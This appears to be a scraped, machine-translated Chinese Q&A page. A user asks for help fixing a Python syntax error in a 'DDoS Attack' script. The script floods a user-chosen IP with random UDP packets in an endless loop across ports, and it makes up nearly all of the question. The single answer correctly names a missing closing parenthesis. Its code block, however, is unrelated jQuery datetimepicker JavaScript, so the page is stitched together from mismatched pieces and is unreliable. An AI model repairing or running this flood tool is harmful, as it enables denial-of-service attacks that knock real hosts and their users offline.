如何在我的python代码中解决此错误?

时间:2020-04-16 09:31:54

标签: python syntax-error python-3.8

该代码在python 2的github上可用,所以我做了一些更改,但是现在,它说存在语法错误,我不知道如何解决。 代码:

import sys
import os
import time
import socket
import random

#Code
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
################################################################################
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
################################################################################
os.system("clear")
os.system("figlet DDos Attack")
print("DDoS_Tool")
print("Author   : ...")
print(" ")
ip = input("IP Target : ")
port = input("Port       : ")
print(" ")

os.system("clear")
os.system("figlet Attac Starting")
os.system("figlet Attack Starting")
print ("[                    ] 0% ")
time.sleep(2)
print ("[=====               ] 25%")
time.sleep(4)
print ("[==========          ] 50%")
time.sleep(3)
print( "[===============     ] 75%")
time.sleep(4)
print ("[====================] 100%")
time.sleep(1)
sent = 0

while True:
    try:
        sock.sendto(bytes, (ip,port))
        sent = sent + 1
        port = port + 1
        print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)

        if port == 65534:
            port = 1

     except:
          print("ERROR, try again")
          time.sleep(2)
          exit()

这是代码,它说在以下位置存在语法错误:

if port == 65534:

,“:”标记为红色。

我不知道如何解决它。

1 个答案:

答案 0 :(得分:0)

您缺少打印语句的parantesis关闭:

<script>
$(function () {

    $('#datetimepicker6').datetimepicker();
    $('#datetimepicker7').datetimepicker({
        useCurrent: false //Important! See issue #1075
    });
    $("#datetimepicker6").on("dp.change", function (e) {
        $('#datetimepicker7').data("DateTimePicker").minDate(e.date);
    });
    $("#datetimepicker7").on("dp.change", function (e) {
        $('#datetimepicker6').data("DateTimePicker").maxDate(e.date);
    });
});

</script>